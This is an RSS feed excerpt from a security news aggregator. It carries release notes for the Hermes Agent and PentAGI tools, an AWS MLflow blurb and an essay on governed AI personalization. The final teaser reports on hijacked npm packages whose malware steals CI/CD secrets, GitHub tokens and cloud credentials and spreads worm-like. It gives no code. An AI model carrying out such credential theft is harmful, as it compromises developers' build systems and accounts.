<li><a href="https://github.com/mason5052">@mason5052</a> — Custom prompts fix, Ollama tool-support error clarity, DeepSeek V4 migration, flow file upload hardening, and extensive documentation and design RFCs (flow concurrency, MCP client integration, evidence chain)</li>
<li><a href="https://github.com/Kairos-T">@Kairos-T</a> — Documentation mermaid syntax fix (<a href="https://github.com/vxcontrol/pentagi/pull/259" data-hovercard-type="pull_request" data-hovercard-url="/vxcontrol/pentagi/pull/259/hovercard">PR#259</a>)</li>
</ul>
<hr>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/vxcontrol/pentagi/compare/v2.0.0...v2.1.0"><tt>v2.0.0...v2.1.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.15.1 (2026.5.29) — The Patch Release]]></title>
<description><![CDATA[Hermes Agent v0.15.1 (v2026.5.29)
Release Date: May 29, 2026
Since v0.15.0: 28 commits · 21 merged PRs · hotfix release · 9 contributors

The Patch Release. A same-day hotfix for v0.15.0. Headline fix: the dashboard infinite-reload loop that hit anyone running v0.15.0 in loopback mode (Docker, ho...]]></description>
<link>https://tsecurity.de/de/3555841/downloads/hermes-agent-v0151-2026529-the-patch-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555841/downloads/hermes-agent-v0151-2026529-the-patch-release/</guid>
<pubDate>Fri, 29 May 2026 03:16:12 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.15.1 (v2026.5.29)</h1>
<p><strong>Release Date:</strong> May 29, 2026<br>
<strong>Since v0.15.0:</strong> 28 commits · 21 merged PRs · hotfix release · 9 contributors</p>
<blockquote>
<p><strong>The Patch Release.</strong> A same-day hotfix for v0.15.0. Headline fix: the dashboard infinite-reload loop that hit anyone running v0.15.0 in loopback mode (Docker, hosted Hermes, fresh installs). A handful of other v0.15.0 follow-ups go along for the ride — kanban worker SIGTERM, <code>/model</code> picker unification, <code>/yolo</code> session bypass, the full 19,932-entry skills.sh catalog, <code>.md</code> media delivery restoration, gateway probe-stepdown safety, web-URL redaction passthrough, kanban worker vision on referenced images, hindsight observation-default. Docker users get an explicit <code>--insecure</code> opt-in env var (no more bind-host inference), MCP server bare-command PATH resolution, and arm64 PR-build cache fixes.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Dashboard 401 reload loop fixed</strong> — In loopback mode the dashboard's identity probe (<code>/api/auth/me</code>) returns 401 by design, but v0.15.0's stale-token reload guard treated every 401 as a rotated session token and full-page-reloaded to pick up a fresh one. Every successful sibling call cleared the one-shot reload guard, so the page reload-looped forever (Firefox: "Navigated to /sessions" storm; Chrome: React re-render storm). Fix adds an <code>allowUnauthorized</code> opt-out to <code>fetchJSON</code> that skips only the loopback stale-token reload — 401 still throws so <code>AuthWidget</code> swallows it, gated-mode <code>login_url</code> redirects are unaffected. Closes <a href="https://github.com/NousResearch/hermes-agent/issues/34206" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/34206/hovercard">#34206</a>, <a href="https://github.com/NousResearch/hermes-agent/issues/34202" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/34202/hovercard">#34202</a>. (<a href="https://github.com/NousResearch/hermes-agent/pull/30698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30698/hovercard">#30698</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</p>
</li>
<li>
<p><strong>Docker dashboard <code>--insecure</code> is now an explicit env opt-in, never derived from bind host</strong> — Previously the Docker entrypoint inferred <code>--insecure</code> when the dashboard bound to a non-loopback host. That conflated "I want LAN access" with "I want to disable the same-origin guard." The fix splits them: bind host is bind host, and disabling the dashboard's loopback auth requires an explicit <code>HERMES_DASHBOARD_INSECURE=1</code>. Existing setups that genuinely wanted insecure binding must now set the env var. (<a href="https://github.com/NousResearch/hermes-agent/pull/34188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34188/hovercard">#34188</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34204/hovercard">#34204</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</p>
</li>
<li>
<p><strong>MCP bare command resolution under Docker</strong> — MCP servers configured with bare commands (<code>npx</code>, <code>npm</code>, <code>node</code>) now resolve against <code>/usr/local/bin</code> so they actually launch inside the Docker image where those binaries live. v0.15.0 left these failing silently in containers when the agent's effective PATH didn't include the Node toolchain location. (<a href="https://github.com/NousResearch/hermes-agent/pull/34186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34186/hovercard">#34186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</p>
</li>
<li>
<p><strong>Skills page sidebar / source pills restored</strong> — A stale <code>useMemo</code> dependency in the new dashboard skills page collapsed the source pills and category sidebar to "All" only. Fixed; both surfaces now reflect the live catalog state. (<a href="https://github.com/NousResearch/hermes-agent/pull/34194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34194/hovercard">#34194</a>)</p>
</li>
<li>
<p><strong>Kanban worker can be killed again</strong> — <code>SIGTERM</code> on a kanban worker was being absorbed by an intermediate process and the worker stayed running. Closes <a href="https://github.com/NousResearch/hermes-agent/issues/28181" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/28181/hovercard">#28181</a>. (<a href="https://github.com/NousResearch/hermes-agent/pull/34045" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34045/hovercard">#34045</a>)</p>
</li>
<li>
<p><strong>Full skills.sh catalog (858 → 19,932 entries)</strong> — The skills hub page was pulling a partial paginated catalog. The fetch now walks the sitemap, so all 19,932 skills.sh entries surface in the picker instead of just the first 858. (<a href="https://github.com/NousResearch/hermes-agent/pull/34025" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34025/hovercard">#34025</a>)</p>
</li>
</ul>
<hr>
<h2>🐛 Bug Fixes</h2>
<h3>Dashboard / Web</h3>
<ul>
<li><strong><code>/api/auth/me</code> 401 no longer triggers reload loop</strong> in loopback mode — (<a href="https://github.com/NousResearch/hermes-agent/pull/30698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30698/hovercard">#30698</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</li>
<li><strong>Skills page source pills + category sidebar restored</strong> — stale <code>useMemo</code> dep (<a href="https://github.com/NousResearch/hermes-agent/pull/34194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34194/hovercard">#34194</a>)</li>
</ul>
<h3>Docker</h3>
<ul>
<li><strong><code>--insecure</code> is now explicit opt-in via env var</strong>, not derived from bind host (<a href="https://github.com/NousResearch/hermes-agent/pull/34188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34188/hovercard">#34188</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>Dashboard test suite repaired</strong> to match the insecure-opt-in fix (<a href="https://github.com/NousResearch/hermes-agent/pull/34204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34204/hovercard">#34204</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>arm64 PR builds skip the GHA cache</strong> to avoid cache-thrash on cross-arch builders (<a href="https://github.com/NousResearch/hermes-agent/pull/33704" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33704/hovercard">#33704</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>)</li>
</ul>
<h3>MCP</h3>
<ul>
<li><strong>Bare <code>npx</code>/<code>npm</code>/<code>node</code> resolve against <code>/usr/local/bin</code></strong> for Docker compatibility (<a href="https://github.com/NousResearch/hermes-agent/pull/34186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34186/hovercard">#34186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h3>Kanban</h3>
<ul>
<li><strong>Worker SIGTERM actually terminates the process</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/34045" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34045/hovercard">#34045</a>)</li>
<li><strong>Workers receive images referenced in task bodies</strong> for vision-capable models (<a href="https://github.com/NousResearch/hermes-agent/pull/34210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34210/hovercard">#34210</a>)</li>
</ul>
<h3>Gateway</h3>
<ul>
<li><strong><code>.md</code> files deliver again</strong> — media-delivery validation defaults to denylist-only instead of an overly-narrow allowlist (<a href="https://github.com/NousResearch/hermes-agent/pull/34022" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34022/hovercard">#34022</a>)</li>
<li><strong>Probe stepdown safety</strong> — on a context-overflow without an explicit provider context limit, the agent no longer steps down to a smaller model based on an unknown ceiling (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/33673" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33673/hovercard">#33673</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33826" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33826/hovercard">#33826</a>)</li>
</ul>
<h3>CLI</h3>
<ul>
<li><strong><code>/yolo</code> mid-session enables the per-session bypass</strong> instead of just toggling the env var (which the running agent had already snapshotted) (<a href="https://github.com/NousResearch/hermes-agent/pull/33931" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33931/hovercard">#33931</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong><code>/model</code> and <code>hermes model</code> show the same list</strong>, plus disk cache for picker startup (<a href="https://github.com/NousResearch/hermes-agent/pull/33867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33867/hovercard">#33867</a>)</li>
</ul>
<h3>Skills</h3>
<ul>
<li><strong>Full skills.sh catalog via sitemap</strong> — 858 → 19,932 entries (<a href="https://github.com/NousResearch/hermes-agent/pull/34025" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34025/hovercard">#34025</a>)</li>
</ul>
<h3>Redaction</h3>
<ul>
<li><strong>Web URLs pass through unchanged</strong> — the redactor was eating query parameters that looked credential-shaped (<a href="https://github.com/NousResearch/hermes-agent/pull/34029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34029/hovercard">#34029</a>)</li>
</ul>
<hr>
<h2>✨ Small Features</h2>
<ul>
<li><strong>Hindsight default narrowed to observation-only</strong> for <code>recall_types</code> — tool path is also narrowed (<a href="https://github.com/NousResearch/hermes-agent/pull/34079" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34079/hovercard">#34079</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nicoloboschi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nicoloboschi">@nicoloboschi</a>, follow-up <a href="https://github.com/NousResearch/hermes-agent/pull/4df62d239e38bf8c212a595721c9c01e176f6c3a">#34091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>Memory providers receive completed-turn message context</strong> — salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/28065" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28065/hovercard">#28065</a> (<a href="https://github.com/NousResearch/hermes-agent/pull/34097" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34097/hovercard">#34097</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, credit to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devwdave/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devwdave">@devwdave</a>)</li>
</ul>
<hr>
<h2>📚 Documentation</h2>
<ul>
<li><strong><code>--no-supervise</code> / <code>HERMES_GATEWAY_NO_SUPERVISE</code> documented</strong> in the reference docs (follow-up to <a href="https://github.com/NousResearch/hermes-agent/pull/33583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33583/hovercard">#33583</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33751/hovercard">#33751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>)</li>
</ul>
<hr>
<h2>🛠️ Infrastructure</h2>
<ul>
<li><strong>Vercel deploy workflow accepts <code>workflow_dispatch</code></strong> so docs deploys can be manually triggered (<a href="https://github.com/NousResearch/hermes-agent/pull/34081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34081/hovercard">#34081</a>)</li>
<li><strong><code>@nous-research/ui</code> bumped to 0.18.2</strong> (Nix <code>npmDepsHash</code> also updated to match) (<a href="https://github.com/NousResearch/hermes-agent/pull/34193" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34193/hovercard">#34193</a> follow-ups — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</li>
</ul>
<hr>
<h2>👥 Contributors</h2>
<h3>Core</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a></li>
</ul>
<h3>Community</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — dashboard 401 reload-loop fix (the headline), <code>@nous-research/ui</code> bump, Nix <code>npmDepsHash</code> updates</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — Docker <code>--insecure</code> opt-in, MCP bare-command resolution, dashboard test repair</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — <code>/yolo</code> session bypass, completed-turn memory context salvage, hindsight follow-up docs</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nicoloboschi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nicoloboschi">@nicoloboschi</a> — hindsight <code>recall_types</code> observation default</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a> — arm64 PR build cache fix</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a> — <code>--no-supervise</code> reference docs</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yangguangjin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yangguangjin">@yangguangjin</a> — probe stepdown safety (salvage of <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yanghd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yanghd">@yanghd</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537895927" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/33673" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33673/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/33673">#33673</a>)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devwdave/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devwdave">@devwdave</a> — completed-turn memory context (credited via salvage)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhosf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhosf">@andrewhosf</a> — co-author</li>
</ul>
<h3>Issue Reporters (the 401 loop)</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/routesmith/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/routesmith">@routesmith</a> (<a href="https://github.com/NousResearch/hermes-agent/issues/34206" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/34206/hovercard">#34206</a>)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beeaton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beeaton">@beeaton</a> (<a href="https://github.com/NousResearch/hermes-agent/issues/34202" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/34202/hovercard">#34202</a>)</li>
</ul>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.5.28...v2026.5.29">v2026.5.28...v2026.5.29</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build a custom portal with embedded Amazon SageMaker AI MLflow Apps]]></title>
<description><![CDATA[In this post, you learn how to build a custom portal with embedded SageMaker AI MLflow Apps UI. You walk through the architecture pattern behind a React front end paired with a Flask reverse proxy that handles AWS Signature Version 4 (SigV4) authentication, deploy the entire stack through the AWS...]]></description>
<link>https://tsecurity.de/de/3555546/ai-nachrichten/build-a-custom-portal-with-embedded-amazon-sagemaker-ai-mlflow-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555546/ai-nachrichten/build-a-custom-portal-with-embedded-amazon-sagemaker-ai-mlflow-apps/</guid>
<pubDate>Thu, 28 May 2026 22:47:02 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, you learn how to build a custom portal with embedded SageMaker AI MLflow Apps UI. You walk through the architecture pattern behind a React front end paired with a Flask reverse proxy that handles AWS Signature Version 4 (SigV4) authentication, deploy the entire stack through the AWS Cloud Development Kit (AWS CDK), validate the deployment, and review security considerations and cleanup procedures.]]></content:encoded>
</item>
<item>
<title><![CDATA[Hyper-personalization in the age of agentic AI: How regulated industries can do it with guardrails]]></title>
<description><![CDATA[GenAI and agentic systems have supercharged the dream of true 1:1 personalization. The promise is compelling: Give an AI agent the ability to plan (and reason) and act, and suddenly it’s not just writing better emails. It’s handling the entire journey: From crafting the message to picking the rig...]]></description>
<link>https://tsecurity.de/de/3553853/it-security-nachrichten/hyper-personalization-in-the-age-of-agentic-ai-how-regulated-industries-can-do-it-with-guardrails/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3553853/it-security-nachrichten/hyper-personalization-in-the-age-of-agentic-ai-how-regulated-industries-can-do-it-with-guardrails/</guid>
<pubDate>Thu, 28 May 2026 13:05:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>GenAI and agentic systems have supercharged the dream of true 1:1 personalization. The promise is compelling: Give an AI agent the ability to plan (and reason) and act, and suddenly it’s not just writing better emails. It’s handling the entire journey: From crafting the message to picking the right person, choosing the channel(s) and timing, launching the campaign, watching what happens and iterating based on real outcomes. In theory, personalization stops being a quarterly project and becomes a continuous, intelligent process.</p>



<p>A lot of that hype is real. These tools can generate content at scale, react to signals faster than any human team and adapt in near real time. But this is where the excitement collides with reality in regulated industries like life sciences and healthcare: The hard part isn’t getting the model to personalize. It’s proving clearly and defensibly that every single interaction was properly consented, stayed within its allowed purpose, respected privacy boundaries and can be fully audited months later if challenged.</p>



<p>I have seen this break down firsthand. Teams get a technically impressive personalization engine live, only to slow it down or shut parts of it off when compliance asks a simple question everyone assumed was already answered: Who approved which data, for what purpose and how do we prove it?</p>



<p>That’s the question I see keeping leaders up at night: How do you operationalize hyper‑personalization at scale without tripping over privacy rules or letting governance grind everything to a crawl?</p>



<p>In my experience, the answer isn’t piling more controls on top after the fact. It’s building personalization as a risk‑managed platform capability from the ground up, so guardrails are baked in and every new use case inherits them automatically.</p>



<h2 class="wp-block-heading">Redefine what “1:1” really means in a regulated world</h2>



<p>Most personalization efforts chase the same goal: Use every possible signal to get as precise as possible. In regulated environments, that instinct can be dangerous. It leads to data sprawl, encourages purpose creep and produces decisions that are hard to explain or defend.</p>



<p>Regulators have been clear about this for years. <a></a><a href="https://gdpr-info.eu/art-5-gdpr/" rel="nofollow">GDPR’s Article 5</a> principles of purpose limitation and data minimization, along with the <a></a><a href="https://www.oecd.org/en/topics/sub-issues/privacy-principles.html" rel="nofollow">OECD privacy guidelines</a> on collection limitation, purpose specification and use limitation, aren’t suggestions. They are requirements. The same thinking runs through similar frameworks.</p>



<p>What works in practice is a narrower, more disciplined definition:</p>



<p>Regulated 1:1 = the minimum personalization needed to meaningfully improve relevance and outcomes, using only data you are allowed to use for that specific purpose, delivered through controlled channels, with clear evidence that the rules were followed.</p>



<p>This shift changes how teams think. Instead of rewarding more data or more variants, you reward the ability to answer four simple questions about any interaction:</p>



<ul class="wp-block-list">
<li>Why did we do this?</li>



<li>What data did we use?</li>



<li>Were we allowed to?</li>



<li>And can we prove it?</li>
</ul>



<p>It also helps to break personalization into four distinct layers each with different risk profiles:</p>



<ul class="wp-block-list">
<li><strong>Identity</strong>: How well do we know this person?</li>



<li><strong>Decisioning</strong>: What action are we taking, and why?</li>



<li><strong>Content</strong>: What exactly are we showing or saying?</li>



<li><strong>Measurement</strong>: How are we proving it worked?</li>
</ul>



<p>Governing these layers independently lets you scale safer forms of personalization like contextual relevance or declared preferences without automatically inheriting the riskiest ones such as cross-context tracking, sensitive inferences or indefinite behavioral data retention.</p>



<h2 class="wp-block-heading">Turn policies into platform guardrails that run at speed</h2>



<p>Most companies already have solid privacy policies. The problem is they live in documents while personalization happens inside fast-moving digital systems. The fix isn’t more policy, it’s turning the rules into reusable platform guardrails that enforce themselves automatically.</p>



<p>I approach privacy the same way I approach cybersecurity or operational resilience: As core enterprise risk management, consistent with <a></a><a href="https://www.nist.gov/privacy-framework" rel="nofollow">NIST’s Privacy Framework</a>. Here are five practical guardrails that make a real difference:</p>



<ul class="wp-block-list">
<li><strong>Smart identity resolution</strong>: Only resolve identity to the level you can justify and govern. Every identity record should carry provenance, confidence score and permitted uses, not just a master ID.</li>



<li><strong>Real-time consent and purpose checks</strong>: Consent and purpose must be evaluated at the exact moment a message or action is about to fire, not assumed based on what was true when the data was first collected.</li>



<li><strong>Architectural data minimization</strong>: Stop collecting everything “just in case.” Favor derived signals over raw data, enforce purpose-based retention and keep sensitive data in its own lane.</li>



<li><strong>Constrained content assembly</strong>: Instead of letting models generate completely free-form messages, work with pre-approved content modules (offers, claims, disclosures, images) that are assembled based on reviewed rules. This keeps personalization powerful but reviewable.</li>



<li><strong>Auditability by design</strong>: You should be able to answer, “Why did this customer see this message?” in hours, not weeks. This means logging identity state, permissions, purpose, content modules used, decision reasons and outcomes, every time.</li>
</ul>



<p>For example, consider a typical therapy launch in a chronic disease area. The commercial team wants to personalize HCP (healthcare professional) outreach based on practice setting (hospital, independent practice, etc.), recent patient mix signals and engagement history.</p>



<p>By applying the guardrails above, identity resolution stays limited to consented, purpose-tagged HCP profiles with explicit permission for promotional communications. Content is assembled from a library of pre-approved modules rather than open generation. Every NBA (next best action) recommendation from the agentic layer is gated by real-time consent, frequency and purpose checks.</p>



<p>Organizations using this approach have been able to safely increase relevant outreach by over 40% while dramatically reducing compliance review cycles, because auditors can trace every decision back to its source in minutes. Without these platform-level controls, similar initiatives often stall in legal and privacy reviews.</p>



<p>When these controls live in the platform, governance stops feeling like a brake pedal.</p>



<h2 class="wp-block-heading">Agentic AI: Let the models recommend, but let governed systems decide</h2>



<p>Agentic systems are incredibly powerful because they close the loop from insight to action in a single flow. But that same speed is exactly why they can quietly cross lines before anyone notices.</p>



<p>The practical stance I recommend is simple: AI can recommend. Governed systems decide.</p>



<p>Models and agents should propose NBA, content combinations and timing. But execution must pass through runtime policy checks: Consent, purpose, frequency caps, eligibility and formal change control for anything material. The agent suggests; the platform enforces.</p>



<p>As I explored in my recent <a>cio.com article on </a><a href="https://www.cio.com/article/4165545/why-smaller-is-smarter-how-slms-make-genai-operational-and-affordable.html">Small Language Models</a>, smaller and more focused models often have an advantage here. They deliver better explainability, lower latency and much easier runtime governance compared to frontier LLMs, while still powering highly effective agentic workflows in regulated environments.</p>



<p>Bottom line: If you can’t reliably reproduce why the agent did what it did, and you can’t stop it quickly when something feels off, it’s not ready for production, no matter how impressive the demo looks.</p>



<h2 class="wp-block-heading">Measuring success without turning into surveillance, and a realistic roadmap</h2>



<p>You can’t keep investing in personalization if you can’t show a return. At the same time, aggressive individual-level tracking quickly feels invasive and creates compliance headaches and trust issues that derail programs later.</p>



<p>The balance starts with solid experimentation, A/B tests, holdouts, to show value. From there, layer in cohort-level measurement based on declared preferences or engagement tiers. Individual tracking stays limited to cases where you have clear permission and can defend why the level of granularity is proportionate.</p>



<p>Just as important, track trust metrics alongside conversion. Watch for opt-out rates, frequency-cap breaches and complaints that start with “how did you know that?”. If trust signals are deteriorating, short-term gains are masking long-term risk.</p>



<p>For leaders ready to move, here’s a practical timeline I recommend:</p>



<ul class="wp-block-list">
<li><strong>First 90 days</strong>: Catalog your safe personalization patterns, build a real-time consent/preference service, enforce purpose tagging on key data, move content into modular blocks and get decision logging in place.</li>



<li><strong>Next 3–6 months</strong>: Roll out governed NBA capabilities and make experimentation a standard practice.</li>



<li><strong>6–12 months</strong>: Mature the full AI governance layer, model versioning, drift detection, outcome monitoring, aligned with frameworks like <a href="https://www.nist.gov/itl/ai-risk-management-framework" rel="nofollow">NIST’s AI Risk Management Framework (AI RMF)</a>.</li>
</ul>



<p>I have explored the same themes from a broader governance perspective in my Substack piece “<a href="https://muboli.substack.com/p/who-governs-the-agent" rel="nofollow">Who governs the agent</a>,” where the focus shifts from measurement alone to end-to-end accountability.</p>



<p>In regulated industries, the real competitive advantage in 2026 isn’t who can personalize more aggressively, it will be who delivers governable personalization — relevance that is demonstrably permitted, proportionate, explainable and trusted. When guardrails are part of the platform, marketing and commercial teams can move faster precisely because the controls are real.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Schadcode stiehlt CI/CD-Secrets aus GitHub und npm]]></title>
<description><![CDATA[Über ein gekapertes Maintainer-Konto schleust die Hackergruppe TeamPCP manipulierte AntV-npm-Pakete in den öffentlichen Index. Der Schadcode liest CI/CD-Secrets, GitHub-Token und Cloud-Anmeldedaten aus Build-Umgebungen aus und breitet sich wurmartig auf weitere Repositories aus. Betroffen sind un...]]></description>
